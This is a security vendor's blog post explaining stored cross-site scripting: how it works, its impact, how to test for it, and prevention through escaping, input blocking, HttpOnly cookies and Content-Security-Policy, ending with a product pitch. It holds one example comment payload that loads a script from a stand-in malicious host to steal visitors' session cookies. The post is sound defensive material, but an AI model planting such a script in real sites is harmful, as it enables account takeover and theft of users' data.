Product
Product overview

See how dev-centric DAST for the enterprise secures your business.

Web attacks

Continuous security testing for web applications at high-scale.

API attacks

Safeguard your APIs no matter how often you deploy.

Business logic attacks

Future-proof your security testing with green-flow exploitation testing.

LLM attacks

Next-gen security testing for LLM & Gen AI powered applications and add-ons.

Interfaces & extensions

Security testing throughout the SDLC - in your team’s native stack.

Integrations

Connecting your security stack & resolution processes seamlessly.

Docs

Getting started with Bright and implementing it in your enterprise stack.

Book a demo

We’ll show you how Bright’s DAST can secure your security posture.

Resources
Blog

Check out or insights & deep dives into the world of security testing.

Webinars & events

Upcoming & on-demand events and webinars from security experts.

Docs

Getting started with Bright and implementing it in your enterprise stack.

Case studies

Dive into DAST success stories from Bright customers.

Research

Download whitepapers & research on hot topics in the security field.

Company
About us

Who we are, where we came from, and our Bright vision for the future.

News

Bright news hot off the press.

Webinars & events

Upcoming & on-demand events and webinars from security experts.

We're hiring

Want to join the Bright team? See our open possitions.

Bug bounty

Found a security issue or vulnerability we should hear about? Let us know!

Contact us

Need some help getting started? Looking to collaborate? Talk to us.

Resources > Blog >
Stored XSS: Impact, Examples, and Prevention

Stored XSS: Impact, Examples, and Prevention

Admir Dizdar

What Is Stored XSS (Cross Site Scripting)?

XSS is an attack technique that injects malicious code into vulnerable web applications. Unlike other attacks, this technique does not target the web server itself, but the user’s browser. 

Stored XSS is a type of XSS that stores malicious code on the application server. Using stored XSS is only possible if your application is designed to store user input—a classic example is a message board or social media website. 

In this article:

How Does a Stored XSS Attack Work?

A stored XSS attack typically works as follows:

  1. An attacker injects malicious code in a request to submit content to the application. 
  2. The application believes the request is innocent, processes the user input and stores it in the database. 
  3. From this point onwards, every time the submitted content is displayed to users, the malicious code executes on their browsers.

Depending on the type of payload and the vulnerabilities present in the user’s browser, stored XSS attacks can allow attackers to:

  • Hijack the user’s session and perform actions on their behalf
  • Steal the user’s credentials
  • Hijacking the user’s browser or delivering browser-based exploits
  • Obtain sensitive information stored in the user’s account or in their browser
  • Port scanning of hosts the web application can connect to
  • Website defacement

Why Is Stored XSS Dangerous?

Stored XSS (also known as second-order XSS) is the most dangerous type of cross-site scripting attack. The reason is that it does not require users to click a malicious link or perform any activity, other than browsing to a legitimate web page. Once an attacker discovers a stored XSS vulnerability and injects XSS code into the database, all visitors to affected pages are compromised, until the exploit is discovered.

Stored XSS attacks are even more significant in websites that require authentication. When an authenticated user visits a page with stored XSS, attackers are usually able to hijack their session and perform actions on their behalf. On some websites, such as those of financial or medical institutions, this can result in financial loss or exposure of highly sensitive data.

The most damaging scenario is when the user exposed to stored XSS is a highly privileged user, such as the administrator of the web application or other systems. Attackers may be able to obtain the session authentication token, gaining admin-level access to the network.

While stored XSS attacks are severe, they are also quite rare, because an attacker needs to find a combination of a website with high traffic, which also accepts user inputs, and suffers from an XSS vulnerability. 

Stored XSS Attack Example

Consider an attacker browsing a retail website. The attacker notices a vulnerability that allows HTML tags to be included in the comments section, including the <script> tag. Embedded tags become a permanent feature of the page, and each time the page is opened, the browser parses the tags along with the rest of the source code.

The attacker can then submit a comment like this:

<p>I highly recommend this product!</p>
<script src=”http://malicious.com/exploit.js”> </script>

The comment is published on the page and every time the page loads for a visitor, the malicious script runs. In this case, the script is designed to steal a visitor’s session cookie, meaning the attacker can take over a user’s account. This gives them access to credit card and other personal data, and also lets them make purchases on behalf of the user.

What is important to realize is that any visitor who clicks through to a page where this comment appears, even if they don’t scroll down to the comment section, will be affected by the attack without knowing it. This is in contrast to a reflected XSS attack, in which victims must click a malicious link to be affected. This means stored XSS can impact many more website users, including those who are security conscious and careful about clicking unknown links.

See real life examples of attacks in our guide to XSS attacks

How to Find and Test for Stored XSS Vulnerabilities

There are multiple website vulnerability scanners available that can automatically detect stored XSS vulnerabilities. Dynamic Application Security Testing (DAST) tools like Bright go one step further, exercising user inputs and demonstrating if the vulnerability can be exploited or not.

Can you test for stored XSS manually?

Testing for stored XSS vulnerabilities manually can be difficult. A stored XSS vulnerability means that an entry point, where the application accepts user input, connects to an exit point where that input is displayed to a user.

Systematically testing for stored XSS means inspecting all entry points via HTTP request headers, URL query string and message body, URL path, or specific application functionality such as commenting, messaging, or any submission of data via forms. 

Large web applications may have a large number of entry points. The main challenge is that the tester cannot foresee which exit point will display a user input. For example, user-provided display names can appear in multiple places in the user interface, in an audit log, and in many other locations. 

Stored XSS testing method

  • Identifying entry points to the application
  • Submitting inputs into each entry point
  • Checking to see where the application displays those entry points
  • Ensuring that the displayed content is persistent across sessions, and not only shown for the current session
  • Testing the XSS payload itself, like in a reflected XSS attack

Related content: Read our guide to XSS vulnerabilities

Stored XSS Prevention

There are several factors to keep in mind to help you prevent stored XSS: 

  • Secure handling of user input—you must never implicitly trust input submitted by a user. Inspect all user-submitted input to ensure it doesn’t include risky characters that may affect how a user’s browser interprets the data on your website. Implement thorough input validation and ensure characters are output-escaped.
  • Request blocking—you can allow or block user-submitted input based on its risk of containing a malicious payload. For example, if the input contains <script>, it likely includes a cross site scripting payload, and you might reject the request. Generally, you should maintain tight control, restricting the characters you allow. This approach is more effective than allowing all inputs by default and only blocking those containing a known malicious string. Innovative attackers can use alternative scripts to bypass your protective measures. 
  • Escaping—encode any special characters to ensure the program interprets them literally (and not as special characters) before you allow them to render on your webpage. You might, for example, replace angle brackets < > in HTML with alternative characters, like &lt and &gt, to prevent the characters contained in them from forming a tag. You should also escape characters that convey special meanings in HTML. 
  • Choosing the right framework—some JavaScript frameworks provide capabilities that help prevent XSS vulnerabilities. For example, Angular and React offer automatic escaping, making it easier to protect your web applications.
  • Mitigating the damage of an XSS attack—implement measures to reduce the impact of a successful XSS exploit. For example, you can protect sensitive user cookies on your website by setting the HttpOnly flag. You can also configure the browser to only execute scripts from a list of approved sources by applying an HTTP response header such as Content-Security-Policy.

Related content: Read our guide to cross site scripting prevention (coming soon)

Detecting and Testing for XSS with Bright

While Dynamic Application Security Testing (DAST) tools are able to test for some XSS vulnerabilities, they are often limited and produce a high ratio of false positives.

Bright can automatically crawl your applications to test for reflected, stored and DOM-based XSS vulnerabilities, giving you maximum coverage, seamlessly integrated across development pipelines.

Engineering and security teams can trust Bright’s results, with automatic validation of every XSS finding carried out, with no false positives. Bright even generates a screenshot proof of concept along with comprehensive developer friendly remediation advice to fix the issue quickly and early.

Get a free Bright account and start testing today!

Resources

DORA: Exploring The Path to Financial Institutions’ Resilience

DORA (Digital Operational Resilience Act) is the latest addition to the EU regulatory arsenal. A framework designed to bolster the cyber resilience of financial entities operating within the EU. But let’s face it: there’s no lack of regulations issued by the European Union legislature, and they’re not exactly known for keeping things light and easy.

IASTless IAST – The SAST to DAST Bridge

Streamline appsec with IASTless IAST. Simplify deployment, enhance accuracy, and boost your security posture by combining SAST and Bright’s DAST.

Bringing DAST security to AI-generated code

AI-generated code is basically the holy grail of developer tools of this decade. Think back to just over two years ago; every third article discussed how there weren’t enough engineers to answer demand; some companies even offered coding training for candidates wanting to make a career change. The demand for software and hardware innovation was

Get our newsletter